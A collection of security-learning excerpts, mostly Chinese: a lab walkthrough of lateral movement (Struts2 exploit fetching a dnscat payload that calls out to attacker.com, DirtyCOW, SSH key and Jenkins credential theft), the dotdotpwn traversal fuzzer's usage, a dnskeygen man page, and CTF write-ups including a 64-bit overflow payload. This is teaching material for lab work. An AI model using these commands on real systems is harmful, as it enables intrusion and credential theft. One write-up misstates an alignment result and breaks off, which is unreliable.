## Linux 横向移动实验
横向移动的问题是，没有一个设置起点逐步深入的环境很难练习。因此，我们向你介绍了 CSK 网络安全实验。在这个实验中，你将在不同的设备之间进行切换，使用最近的漏洞攻击和权限提升攻击，并利用 Linux 环境中本身存在的应用程序进行攻击。
**设置虚拟环境**
这个虚拟实验环境的设置有些复杂。这是因为网络需要三个不同的静态虚拟机才能运行，并且你需要事先进行一些设置。所有这些都在 VMware Workstation 和 VMware Fusion 中进行了测试，因此如果你使用的是 VirtualBox，那么你可能需要对它进行适当的调整。
下载三台虚拟机：
- http://thehackerplaybook.com/get.php?type=csk-lab
- 虽然你不需要这些系统的 root 帐户，但 hacker/changeme 是用户名/密码，尽量不要更改。
所有三台虚拟机都配置为使用 NAT 网络接口。要使该实验环境正常工作，你必须在 VMware 中配置虚拟机的 NAT 设置，才能使用172.16.250.0/24网络。要在 Windows VMware Workstation 中执行此操作，请执行以下操作：
- 在开始菜单，依次点击 编辑 -> 虚拟网络编辑器 -> 更改设置
- 选择需要设置 NAT 类型的界面(我这里设置的是 VMnet8)
- 修改子网 IP 为 172.16.250.0 ，并点击 应用
在 OSX 中，操作更复杂。你需要：
- 复制原始的 dhcpd.conf 作为备份
- sudo cp /Library/Preferences/VMware\ Fusion/vmnet8/dhcpd.conf/Library/Preferences/VMware\ Fusion/vmnet8/dhcpd.conf.bakup
- 编辑 dhcpd.conf 文件以使用172.16.250.x 而不是192.168.x.x
- sudo vi /Library/Preferences/VMware\ Fusion/vmnet8/dhcpd.conf
- 编辑 nat.conf 以使用正确的网关
- sudo vi /Library/Preferences/VMware\ Fusion/vmnet8/nat.conf
- \#NAT gateway address
- ip = 172.16.250.2
- netmask = 255.255.255.0
- 重新启动服务：
- sudo /Applications/VMware\ Fusion.app/Contents/Library/services/services.sh --stop
- sudo /Applications/VMware\ Fusion.app/Contents/Library/services/services.sh --start
现在，你应该能够在 NAT 模式下启动 THP Kali VM，并在172.16.250.0/24范围内获得一个 DHCP 分配的 IP。如果你这样做了，就同时启动所有其他三个实验虚拟机，然后开始黑客攻击吧。
### 攻击 CSK 安全网络
最后，你已经从 Windows 环境转到了安全生产环境网络中。从你所有的侦察和研究中，你知道所有的秘密都存储在这里。这是他们保护最严密的网络之一，我们知道他们已经分步部署了他们的安全基础设施。从他们的文档来看，似乎有多个 VLAN 需要进行入侵，而且你似乎需要在各个系统之间切换才能访问核心数据库。这就是你发起这次攻击的目的......
以安全网络区域的外部为中心，可以看到为此环境配置的网络范围位于172.16.250.0/24网络中。由于你对这个网络不太了解，你可以先进行一些非常简单的 nmap 扫描。你需要确定哪些系统可以从网络外部访问，以确定如何启动攻击。
扫描网络:
- nmap 172.16.50.0/24
你注意到有三个设备正在运行，但只有一个设备启用了 Web 端口。看起来其他两个设备与安全网络之外是隔离的，这意味着我们必须首先入侵172.16.250.10设备才能转到其他两个服务器。访问第一个系统（172.16.250.10），你会看到 Apache Tomcat 正在监听端口8080，而一些 OpenCMS 在端口80上。运行 web fuzzer 时，你会注意到 OpenCMS 页面也在运行 Apache Struts2（或者是 struts2 showcase）。你的脑海立马想到了Equifax 数据泄露事件中黑客的攻击手法。你喜出望外，太好了，但你还是要检查一下。在 msfconsole 上运行一个快速搜索并测试漏洞 `struts2_content_type_ognl`。
我们知道，CSK 会严格监控受保护的网络流量，其内部服务器可能不允许直接访问公司网络。为了解决这个问题，我们必须使用我们的 DNS C2 payload 和 dnscat2 来通过 UDP 而不是 TCP 进行通信。当然，在真实操作中，我们可能会使用权威的 DNS 服务器，但仅针对本地测试的话，我们将配置自己的 DNS 服务器。
[本书的 Kali 机器]
本书的定制 Kali 虚拟机应该拥有执行攻击的所有工具。
- 我们需要在 Web 服务器上放上我们的 payload，这样我们就可以让我们的 metasploit payload 抓取 dnscat 恶意软件。在 dnscat2 客户机文件夹中是 dnscat 二进制文件。
- cd /opt/dnscat2/client/
- python -m SimpleHTTPServer 80
- 启动 dnscat 服务器
- cd /opt/dnscat2/server/
- ruby ./dnscat2.rb
- 为 dnscat 记录你的密钥
- 打开新终端并加载 Metasploit
- msfconsole
- 搜索 struts2并加载 struts2漏洞
- search struts2
- use exploit/multi/http/struts2_content_type_ognl
- 配置 struts2漏洞以获取我们的 dnscat payload 并在受害者服务器上执行。确保在前面更新你的 IP 和密钥。
- set RHOST 172.16.250.10
- set RPORT 80
- set TARGETURI struts2-showcase/showcase.action
- set PAYLOAD cmd/unix/generic
- set CMD wget http://<your_ip>/dnscat -O /tmp/dnscat && chmod+x /tmp/dnscat && /tmp/dnscat --dns server=attacker.com，port=53 --secret=<Your Secret Key>
- run
- 一旦 payload 执行，你将不会在 Metasploit 中得到任何确认，因为我们使用了 dnscat 的 payload。你需要检查你的 dnscat 服务器是否有任何使用 DNS 流量的连接。
- 回到 dnscat2服务器上，检查新执行的 payload 并创建一个 shell 终端。
- 与第一个 payload 进行交互
- window -i 1
- 生成 shell 进程
- shell
- 用键盘按钮返回主菜单
- ctrl + z
- 与新 shell 进行交互
- window -i 2
- 键入 shell 命令
- ls
你已经入侵了 OpenCMS/Apache Struts 服务器！现在要做什么？你需要花一些时间检查服务器并寻找有趣的信息。你想起来服务器正在运行 OpenCMS Web 应用程序，并确定该应用程序是在 /opt/tomcat/webapps/kittens 下配置的。在查看 OpenCMS 属性的配置文件时，我们发现数据库、用户名、密码和 IP 地址为 172.16.250.10。
检索数据库信息：
- cat /opt/tomcat/webapps/kittens/WEB-INF/config/opencms.properties
我们成功连接到数据库了，但看不到太多信息。这是因为我们目前是一个有限的 Tomcat 用户，这确实阻碍了我们的攻击。因此，我们需要找到一种提权的方法。在服务器上运行 post exploitation reconnaissance（uname -a && lsb_release -a），你可以识别出这是一个非常旧的 Ubuntu 版本。幸运的是，此服务器容易受到权限提升漏洞 DirtyCOW 的攻击。让我们创建一个 DirtyCOW 二进制文件并转到根目录！
Escalation 提升 dnscat 权限：
- 下载并编译目录：
- cd /tmp
- wget http://bit.ly/2vdh2Ub -O dirtycow-mem.c
- gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread
- ./dirtycow-mem
- 尝试保持 DirtyCOW 漏洞利用的稳定性，并允许内核崩溃时重新启动。
- echo 0 > /proc/sys/vm/dirty_writeback_centisecs
- echo 1 > /proc/sys/kernel/panic && echo 1 > /proc/sys/kernel/panic_on_oops && echo 1 > /proc/sys/kernel/panic_on_unrecovered_nmi && echo 1 > /proc/sys/kernel/panic_on_io_nmi && echo 1 > /proc/sys/kernel/panic_on_warn
- whoami
注意：DirtyCOW 不是一个非常稳定的提权方法。如果你对漏洞利用过程有问题，请查看我的 Github 页面，在这里了解创建 setuid 二进制文件的更稳定的过程：
- https://raw.githubusercontent.com/cheetz/dirtycow/master/THP-Lab
- 如果仍然有问题，另一个选项是通过 SSH 登录到初始服务器，并以 root 身份执行 dnscat payload。要登录，请使用凭据 hacker/changeme 登录系统并使用 sudo-su 获得 root 权限。
现在，由于主机系统上没有补丁，你已经成为系统的 root 用户。当你再次开始为敏感信息翻阅系统文件时，你会看到 root 的 bash 历史文件。在这个文件中，你可以找到 SSH 命令和私有 SSH 密钥来源。我们可以使用此 SSH 密钥并登录到第二个系统172.16.250.30：
- cat ~/.bash_history
- head ~/.ssh/id_rsa
- ssh -i ~/.ssh/id_rsa root@172.16.250.30
你花了一些时间在第二个系统上，试着理解它的用途。在四处搜索时，你注意到在 /home 目录中有一个 Jenkins 用户，它引导你识别在端口8080上运行的 Jenkins 服务。我们如何使用浏览器查看 Jenkins 服务器上的内容？这就是 dnscat 的端口转发功能发挥作用的地方。我们需要退出最初的shell，去命令终端。从那里，我们需要设置一个监听器，通过 dnscat 将我们的流量从攻击者机器转发到端口8080上的 Jenkins Box（172.16.250.30)。
执行 dnscat 端口转发：
- 退出现有的 shell
- Ctrl + z
- 返回我们的第一个命令代理并设置一个监听器/端口转发：
- window -i 1
- listen 127.0.0.1:8080 172.16.250.30:8080
- 在你的 Kali 虚拟机上，使用我们的端口转发代理打开浏览器并打开下面的地址（这将比 dns 慢一些）：
- http://127.0.0.1:8080/jenkins
在 Jenkins 应用程序内的凭证管理器内部，我们将看到 db_backup 用户密码已存储，但不可见。 我们需要弄清楚如何从 Jenkins 中获取此凭据，以便我们可以继续横向移动。
n00py 对 Jenkins 中存储的凭据以及如何提取它们做了一些很好的研究（ http://bit.ly/2GUIN9s ）。 我们可以使用现有的 shell 来利用此攻击并获取 credentials.xml，master.key 和 hudson.util.Secret 文件。
- 返回 dnscat 中的主菜单并与原始 shell 进行交互
- Ctrl + z
- window -i 2
- 转到 Jenkins 的主目录并获取三个文件：credentials.xml，master.key 和 hudson.util.Secret。
- cd /home/Jenkins
- 我们可以尝试关闭这些文件，或者我们可以将这些文件作为基础并通过当前的 shell 复制它们。
- base64 credentials.xml
- base64 secrets/hudson.util.Secret
- base64 secrets/master.key
- 我们可以将 base64输出复制回我们的 Kali 系统并解码它们以破解 db_backup 用户的密码。
- cd /opt/jenkins-decrypt
- echo “<base64 hudson.util.Secret>” | base64 —decode >
hudson.util.Secret
- echo “<base64 master.key >” | base64 —decode > master.key
- echo “<base64 credentials.xml >” | base64 —decode > credentials.xml
- 使用 https://github.com/cheetz/jenkins-decrypt 解密密码
- python3 ./decrypt.py master.key hudson.util.Secret credentials.xml
我们能够成功解密 db_backup 用户的密码 `)uDvra{4UL^;r？*h`。如果我们回顾一下之前的注释，我们会在 OpenCMS 属性文件中看到数据库服务器位于 172.16.250.50。看起来这个 Jenkins 服务器出于某种原因会对数据库服务器执行某种备份。让我们检查一下我们是否可以获取 db_backup 的凭据：利用 `)uDvra{4UL^;r？*h` 通过 SSH 登录数据库服务器。唯一的问题是通过我们的 dnscat shell，我们没有直接按标准输入（STDIN）来与 SSH 的密码提示进行交互。 因此，我们将不得不再次使用我们的端口将我们的 SSH shell 从 Kali 虚拟机通过 dnscat 代理传递到数据库服务器（172.16.250.50）。
- 回到命令 shell
- Ctrl + z
- window -i 1
- 创建一个新的端口转发，从 localhost 转到172.16.250.50的数据库服务器
- listen 127.0.0.1:2222 172.16.250.50:22
一旦使用 db_backup 帐户进入数据库服务器（172.16.250.50），我们会注意到此帐户是 sudoers 文件的一部分，并且可以 sudo su 到 root。 一旦 root 在数据库服务器上，我们将四处寻找也找不到任何访问数据库的凭据。我们可以重置 root 数据库密码，但最终可能会破坏其他一些应用程序。相反，我们搜索位于/var/lib/mysql 下的不同数据库，并发现 cyberspacekittens 数据库。在这里，我们找到 secrets.ibd 文件，其中包含 secrets 表的所有数据。在我们阅读数据时，我们意识到它可能是加密的...由你来执行剩下的操作...
恭喜！！！你已成功入侵 Cyber Space Kittens 网络！
不要止步于此...你可以用这些系统做很多事情；我们现在只触及了表面。随意在被入侵的系统上翻阅，找到更敏感的文件，找出其他权限升级的方法，等等。作为参考，在本实验中，环境拓扑如下所示：
## 本章总结
在本章中，我们经历了入侵网络的一系列操作。 我们开始在外部网络上没有任何凭据或利用社会工程的方式入侵到我们的第一个受害者系统。从那里开始，我们能够利用目标系统本身的应用程序，获取有关网络和主机系统的信息，横向移动，权限提升，并最终攻陷整个网络。这一切都是建立在最少程度的扫描，利用网络特性，并试图逃避所有检测机制之上完成的。
|
sec-knowleage
|
dotdotpwn简介
它是一个非常智能的目录遍历漏洞检测工具，支持的服务器软件主要有HTTP/FTP/TFTP服务器，Web平台主要涵盖CMS，ERP，博客等。
并且，他有一个协议无关的模块来发送给目标主机和端口并提供需要的载荷。另外，通过STDOUT模块，他可以当做脚本工具使用。
使用的是Perl编程语言，可以运行在UNIX或者是Windows平台下。这是第一个由墨西哥开发者在BackTrack Linux(BT4 R2）中收录的工具。
本版本支持的漏洞检测模块:
* HTTP
* HTTP URL
* FTP
* TFTP
* Payload (协议无关)
* STDOUT
源代码地址: https://github.com/wireghoul/dotdotpwn
[DotDotPwn Homepage](http://dotdotpwn.blogspot.ca/) | [Kali DotDotPwn Repo](https://gitlab.com/kalilinux/packages/dotdotpwn.git;a=summary)
* 作者: chr1x, nitr0us
* 协议: GPLv2
### dotdotpwn所包含的工具
#### dotdotpwn.pl – DotDotPwn – 目录遍历漏洞测试工具
```
root@kali:~# dotdotpwn.pl
#################################################################################
# #
# CubilFelino Chatsubo #
# Security Research Lab and [(in)Security Dark] Labs #
# chr1x.sectester.net chatsubo-labs.blogspot.com #
# #
# pr0udly present: #
# #
# ________ __ ________ __ __________ #
# \______ \ ____ _/ |_\______ \ ____ _/ |_\______ \__ _ __ ____ #
# | | \ / _ \\ __\| | \ / _ \\ __\| ___/\ \/ \/ // \ #
# | ` \( <_> )| | | ` \( <_> )| | | | \ /| | \ #
# /_______ / \____/ |__| /_______ / \____/ |__| |____| \/\_/ |___| / #
# \/ \/ \/ #
# - DotDotPwn v3.0.2 - #
# The Directory Traversal Fuzzer #
# http://dotdotpwn.sectester.net #
# dotdotpwn@sectester.net #
# #
# by chr1x & nitr0us #
#################################################################################
Usage: ./dotdotpwn.pl -m <module> -h <host> [OPTIONS]
Available options:
-m Module [http | http-url | ftp | tftp | payload | stdout]
-h Hostname
-O Operating System detection for intelligent fuzzing (nmap)
-o Operating System type if known ("windows", "unix" or "generic")
-s Service version detection (banner grabber)
-d Depth of traversals (e.g. deepness 3 equals to ../../../; default: 6)
-f Specific filename (e.g. /etc/motd; default: according to OS detected, defaults in TraversalEngine.pm)
-E Add @Extra_files in TraversalEngine.pm (e.g. web.config, httpd.conf, etc.)
-S Use SSL for HTTP and Payload module (not needed for http-url, use a https:// url instead)
-u URL with the part to be fuzzed marked as TRAVERSAL (e.g. http://foo:8080/id.php?x=TRAVERSAL&y=31337)
-k Text pattern to match in the response (http-url & payload modules - e.g. "root:" if trying /etc/passwd)
-p Filename with the payload to be sent and the part to be fuzzed marked with the TRAVERSAL keyword
-x Port to connect (default: HTTP=80; FTP=21; TFTP=69)
-t Time in milliseconds between each test (default: 300 (.3 second))
-X Use the Bisection Algorithm to detect the exact deepness once a vulnerability has been found
-e File extension appended at the end of each fuzz string (e.g. ".php", ".jpg", ".inc")
-U Username (default: 'anonymous')
-P Password (default: 'dot@dot.pwn')
-M HTTP Method to use when using the 'http' module [GET | POST | HEAD | COPY | MOVE] (default: GET)
-r Report filename (default: 'HOST_MM-DD-YYYY_HOUR-MIN.txt')
-b Break after the first vulnerability is found
-q Quiet mode (doesn't print each attempt)
-C Continue if no data was received from host
```
dotdotpwn使用方法
使用HTTP扫描模块(-m http)攻击目标(-h 192.168.1.1), 使用GET方法(-M GET):
```
root@kali:~# dotdotpwn.pl -m http -h 192.168.1.1 -M GET
#################################################################################
# #
# CubilFelino Chatsubo #
# Security Research Lab and [(in)Security Dark] Labs #
# chr1x.sectester.net chatsubo-labs.blogspot.com #
# #
# pr0udly present: #
# #
# ________ __ ________ __ __________ #
# \______ \ ____ _/ |_\______ \ ____ _/ |_\______ \__ _ __ ____ #
# | | \ / _ \\ __\| | \ / _ \\ __\| ___/\ \/ \/ // \ #
# | ` \( <_> )| | | ` \( <_> )| | | | \ /| | \ #
# /_______ / \____/ |__| /_______ / \____/ |__| |____| \/\_/ |___| / #
# \/ \/ \/ #
# - DotDotPwn v3.0 - #
# The Directory Traversal Fuzzer #
# http://dotdotpwn.sectester.net #
# dotdotpwn@sectester.net #
# #
# by chr1x & nitr0us #
#################################################################################
[+] Report name: Reports/192.168.1.1_05-20-2014_08-41.txt
[========== TARGET INFORMATION ==========]
[+] Hostname: 192.168.1.1
[+] Protocol: http
[+] Port: 80
[=========== TRAVERSAL ENGINE ===========]
[+] Creating Traversal patterns (mix of dots and slashes)
[+] Multiplying 6 times the traversal patterns (-d switch)
[+] Creating the Special Traversal patterns
[+] Translating (back)slashes in the filenames
[+] Adapting the filenames according to the OS type detected (generic)
[+] Including Special sufixes
[+] Traversal Engine DONE ! - Total traversal tests created: 19680
[=========== TESTING RESULTS ============]
[+] Ready to launch 3.33 traversals per second
[+] Press Enter to start the testing (You can stop it pressing Ctrl + C)
```
|
sec-knowleage
|
package org.vulhub.spring4shell.model;
public class Person {
private String name;
private Integer age;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public Integer getAge() {
return age;
}
public void setAge(Integer age) {
this.age = age;
}
}
|
sec-knowleage
|
# Decrypt the undecryptable (reverse, ppc, 724p)
> Oh noes! It looks like we've lost decryption keys to our super-secret archive that contains all the blackmail material we've accumulated over the years!
> Luckly, the encryption system was built with the government money by the lowest bidder, so maybe it contains some flaws.
> decrypt_the_undecryptable.tar
In this task we were given a randomish BMP picture and a binary for en-/de-crypting.
I didn't even really look at the binary - one quick glance at the image was enough to see distinct repetition patterns.
This very likely meant it was encrypted using some block cipher in ECB mode or, alternatively, xored using short repeating
key. I quickly found an offset containing the repeating part, produced a quick and dirty Python script to xor
the whole image with that 128-byte long block and save the result. The final image was not perfect, but good enough to be
able to read the message.
|
sec-knowleage
|
.\" Copyright (c) 1996,1999 by Internet Software Consortium
.\"
.\" Permission to use, copy, modify, and distribute this software for any
.\" purpose with or without fee is hereby granted, provided that the above
.\" copyright notice and this permission notice appear in all copies.
.\"
.\" THE SOFTWARE IS PROVIDED "AS IS" AND INTERNET SOFTWARE CONSORTIUM DISCLAIMS
.\" ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES
.\" OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL INTERNET SOFTWARE
.\" CONSORTIUM BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL
.\" DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR
.\" PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS
.\" ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS
.\" SOFTWARE.
.\"
.Dd 1998 年 12 月 2 日
.Dt DNSKEYGEN 1
.Os BSD 4
.Sh NAME
.Nm dnskeygen
.Nd 针对DNS安全性所生成的公共,私有和共享的密钥
.Sh SYNOPSIS(总览)
.Nm dnskeygen
.Oo Fl
.Op Cm DHR
.Ar size
.Oc
.Op Fl F
.Fl Op Cm zhu
.Op Fl a
.Op Fl c
.Op Fl p Ar num
.Op Fl s Ar num
.Fl n Ar name
.Sh DESCRIPTION(描述)
.Ic Dnskeygen
(DNS密钥生成器)是一个用来在DNS(Domain Name System)内部
生成和维护针对DNS安全性的密钥的工具.
.Nm Dnskeygen
可以生成鉴别区域数据的公共和私有密钥,以及用于请求/事务处理签名的
共享密钥.
.Bl -tag -width Fl
.It Fl D
Dnskeygen会生成一个
.Ic DSA/DSS
密钥.
.Dq size
必为[512, 576, 640, 704, 768, 832, 896, 960, 1024]中的一个.
.It Fl H
Dnskeygen会生成一个
.Ic HMAC-MD5
密钥.
.Dq size
必定在128到504之间.
.It Fl R
Dnskeygen会生成一个
.Ic RSA
密钥.
.Dq size
必定在512到4096之间.
.It Fl F
.Ic (只用于RSA)
在生成密钥中使用大指数.
.It Fl z Fl h Fl u
这些标识分别定义了所生成密钥的类型为区域(DNS有效性)密钥,
主机(主机或服务)密钥还是用户(如email)密钥.
.It Fl a
指明该密钥
.Ic 不能
用作鉴别.
.It Fl c
指明该密钥
.Ic 不能
用作加密.
.It Fl p Ar num
设置密钥的协议字段为
.Ar num
;默认为
.Ic 3
(DNSSEC)如果指定了
.Dq Fl z
或
.Dq Fl h
那么则为
.Ic 2
(EMAIL).
其它可接受的值还有
.Ic 1
(TLS),
.Ic 4
(IPSEC),和
.Ic 255
(ANY).
.It Fl s Ar num
设置密钥的强度字段为
.Ar num;
默认为
.Sy 0.
.It Fl n Ar name
设置密钥的名字为
.Ar name.
.El
.Ss DETAILS(细节)
.Ic Dnskeygen
存储每个密钥在两个文件中:
.Pa K<name>+<alg>+<footprint>.private
和
.Pa K<name>+<alg>+<footprint>.key
文件
.Pa K<name>+<alg>+<footprint>.private
包含了以可移植格式保存的私有密钥.文件
.Pa K<name>+<alg>+<footprint>.key
包含了以DNS区域文件格式保存的公共密钥:
.Pp
.D1 Ar <name> IN KEY <flags> <algorithm> <protocol> <exponent|modulus>
.Pp
.Sh ENVIRONMENT(环境变量)
没有涉及到任何环境变量.
.Sh SEE ALSO(另见)
.Em RFC 2065
关于维护DNS安全的文档以及
.Em TSIG
Internet草案.
.Sh AUTHOR(作者)
Olafur Gudmundsson (ogud@tis.com).
.Sh ACKNOWLEDGMENTS(致谢)
基本的加密数学是由DNSSAFE和/或Foundation Toolkit libraries完成的.
.Sh BUGS
目前尚无已知的bugs.
.Sh "[中文版维护人]"
riser <boomer@ccidnet.com>
.Sh "[中文版最新更新]"
2001/7/13
.Sh "《中国Linux论坛man手册页翻译计划》"
http://cmpp.linuxforum.net
|
sec-knowleage
|
# NewOverFlow-1
Binary Exploitation, 200 points
## Description:
> Lets try moving to 64-bit, but don't worry we'll start easy. Overflow the buffer and change the return address to the flag function in this program.
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFFSIZE 64
#define FLAGSIZE 64
void flag() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("'flag.txt' missing in the current directory!\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
printf(buf);
}
void vuln(){
char buf[BUFFSIZE];
gets(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Welcome to 64-bit. Give me a string that gets you the flag: ");
vuln();
return 0;
}
```
## Solution:
This should be a pretty simple overflow challenge. However, there's a twist.
First, we'll go over the steps that should have worked in a perfect world.
```console
root@kali:/media/sf_CTFs/pico/NewOverFlow-1# checksec.sh -f ./vuln
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 72 Symbols No 0 6./vuln
```
From the C file we can see that the program allocates a buffer of 64 bytes, and performs an unbound read into the buffer. Since there's no canary and no PIE enabled, we just have to overrun the return address of `vuln` with the address of `flag` and we should see the flag being printed.
We start by configuring the system to create a core dump for the upcoming crash:
```console
root@kali:/media/sf_CTFs/pico/NewOverFlow-1# ulimit -c unlimited
root@kali:/media/sf_CTFs/pico/NewOverFlow-1# echo ~/core/core_dump > /proc/sys/kernel/core_pattern
```
Then, we input to the program a 64-bit De-Bruijn sequence using the `cyclic` utility to locate the overflow offset:
```console
root@kali:/media/sf_CTFs/pico/NewOverFlow-1# cyclic -n 8 100 | ./vuln
Welcome to 64-bit. Give me a string that gets you the flag:
Segmentation fault (core dumped)
```
We open the core dump with GDB to locate the faulting address:
```console
root@kali:/media/sf_CTFs/pico/NewOverFlow-1# gdb ./vuln ~/core/core_dump 2>/dev/null
GNU gdb (Debian 7.12-6+b1) 7.12.0.20161007-git
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./vuln...(no debugging symbols found)...done.
[New LWP 1805]
Core was generated by `./vuln'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x00000000004007e7 in vuln ()
gdb-peda$ bt
#0 0x00000000004007e7 in vuln ()
#1 0x616161616161616a in ?? ()
#2 0x616161616161616b in ?? ()
#3 0x616161616161616c in ?? ()
#4 0x00007f006161616d in ?? ()
#5 0x0000000000000000 in ?? ()
gdb-peda$ quit
```
We search for the faulting address in our cyclic sequence to get the overflow offset:
```console
root@kali:/media/sf_CTFs/pico/NewOverFlow-1# cyclic -n 8 -l 0x616161616161616a
72
```
We check what `flag`'s address is:
```console
root@kali:/media/sf_CTFs/pico/NewOverFlow-1# objdump -D ./vuln | grep "<flag>"
0000000000400767 <flag>:
```
And we perform the overflow:
```console
root@kali:/media/sf_CTFs/pico/NewOverFlow-1# python -c "print 'A'*72 + '\x67\x07\x40\x00\x00\x00\x00\x00'" | ./vuln
Welcome to 64-bit. Give me a string that gets you the flag:
picoCTF{local_fake_flag}
Segmentation fault (core dumped)
```
This works great locally (buffer overflow 101, they promised to "start easy"). However, if we run this on the server, we get a different response:
```console
dvdalt@pico-2019-shell1:/problems/newoverflow-1_6_9968801986a228beb88aaad605c8d51a$ python -c "print 'A'*72 + '\x67\x07\x40\x00\x00\x00\x00\x00'" | ./vuln
Welcome to 64-bit. Give me a string that gets you the flag:
Segmentation fault (core dumped)
```
We just get a segmentation fault - no flag!
Let's try to debug (we have to create a fake flag file since debugging a `setuid` program removes the extra permissions due to obvious reasons).
```
dvdalt@pico-2019-shell1:/problems/newoverflow-1_6_9968801986a228beb88aaad605c8d51a$ cd ~
dvdalt@pico-2019-shell1:~$ echo picoCTF{fake_remote_flag} > flag.txt
dvdalt@pico-2019-shell1:~$ gdb /problems/newoverflow-1_6_9968801986a228beb88aaad605c8d51a/vuln
GNU gdb (Ubuntu 8.1-0ubuntu3) 8.1.0.20180409-git
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from /problems/newoverflow-1_6_9968801986a228beb88aaad605c8d51a/vuln...(no debugging symbols found)...done.
(gdb) r <<< $( python -c "print 'A'*72 + '\x67\x07\x40\x00\x00\x00\x00\x00'")
Starting program: /problems/newoverflow-1_6_9968801986a228beb88aaad605c8d51a/vuln <<< $( python -c "print 'A'*72 + '\x67\x07\x40\x00\x00\x00\x00\x00'")
/bin/bash: warning: command substitution: ignored null byte in input
Welcome to 64-bit. Give me a string that gets you the flag:
Program received signal SIGSEGV, Segmentation fault.
buffered_vfprintf (s=s@entry=0x7f73768f7760 <_IO_2_1_stdout_>, format=format@entry=0x7fff815cbc28 "picoCTF{fake_remote_flag}\n", args=args@entry=0x7fff815cbb48) at vfprintf.c:2314
2314 vfprintf.c: No such file or directory.
```
Looks like we hit an exception in `printf`, while attempting to print the flag.
Here's the faulting command:
```
(gdb) set disassembly-flavor intel
(gdb) disas
Dump of assembler code for function buffered_vfprintf:
0x00007f73765695d0 <+0>: push r14
0x00007f73765695d2 <+2>: push r13
0x00007f73765695d4 <+4>: push r12
0x00007f73765695d6 <+6>: push rbp
0x00007f73765695d7 <+7>: push rbx
0x00007f73765695d8 <+8>: mov rbx,rdi
0x00007f73765695db <+11>: sub rsp,0x2140
0x00007f73765695e2 <+18>: mov rax,QWORD PTR fs:0x28
0x00007f73765695eb <+27>: mov QWORD PTR [rsp+0x2138],rax
0x00007f73765695f3 <+35>: xor eax,eax
0x00007f73765695f5 <+37>: mov eax,DWORD PTR [rdi+0xc0]
0x00007f73765695fb <+43>: test eax,eax
0x00007f73765695fd <+45>: jne 0x7f7376569770 <buffered_vfprintf+416>
0x00007f7376569603 <+51>: mov DWORD PTR [rdi+0xc0],0xffffffff
0x00007f737656960d <+61>: lea rax,[rsp+0x130]
0x00007f7376569615 <+69>: lea rdi,[rsp+0x30]
0x00007f737656961a <+74>: mov QWORD PTR [rsp+0x110],rbx
0x00007f7376569622 <+82>: mov DWORD PTR [rsp+0xf0],0xffffffff
0x00007f737656962d <+93>: mov DWORD PTR [rsp+0x30],0xfbad8004
0x00007f7376569635 <+101>: mov QWORD PTR [rsp+0x8],rax
0x00007f737656963a <+106>: lea rax,[rsp+0x2130]
0x00007f7376569642 <+114>: mov QWORD PTR [rsp+0xb8],0x0
0x00007f737656964e <+126>: movq xmm0,QWORD PTR [rsp+0x8]
0x00007f7376569654 <+132>: mov QWORD PTR [rsp+0x60],rax
0x00007f7376569659 <+137>: mov eax,DWORD PTR [rbx+0x74]
0x00007f737656965c <+140>: punpcklqdq xmm0,xmm0
0x00007f7376569660 <+144>: mov DWORD PTR [rsp+0xa4],eax
0x00007f7376569667 <+151>: lea rax,[rip+0x3890f2] # 0x7f73768f2760 <_IO_helper_jumps>
=> 0x00007f737656966e <+158>: movaps XMMWORD PTR [rsp+0x50],xmm0
0x00007f7376569673 <+163>: mov QWORD PTR [rsp+0x108],rax
0x00007f737656967b <+171>: call 0x7f7376566390 <_IO_vfprintf_internal>
0x00007f7376569680 <+176>: mov r12d,eax
0x00007f7376569683 <+179>: mov r13d,DWORD PTR [rip+0x39225e] # 0x7f73768fb8e8 <__libc_pthread_functions_init>
```
Let's take a look at the [`movaps` Reference](https://c9x.me/x86/html/file_module_x86_id_180.html):
> When the source or destination operand is a memory operand, the operand must be aligned on a 16-byte boundary or a general-protection exception (#GP) is generated.
However, in our case:
```
(gdb) p $rsp+0x50
$1 = (void *) 0x7fff815c94a8
(gdb) p ((unsigned int)$1) % 16
$3 = 8
```
This value is 16-byte aligned, so the program crashes. Looks like a compiler optimization is standing between us and the flag.
The solution was to call `main` again via the original payload, and then call `flag` as intended. Lucky for us, the stack was correctly aligned for such a call stack.
A `pwntools` script to automate the process:
```python
# First, generate a pwntools template using:
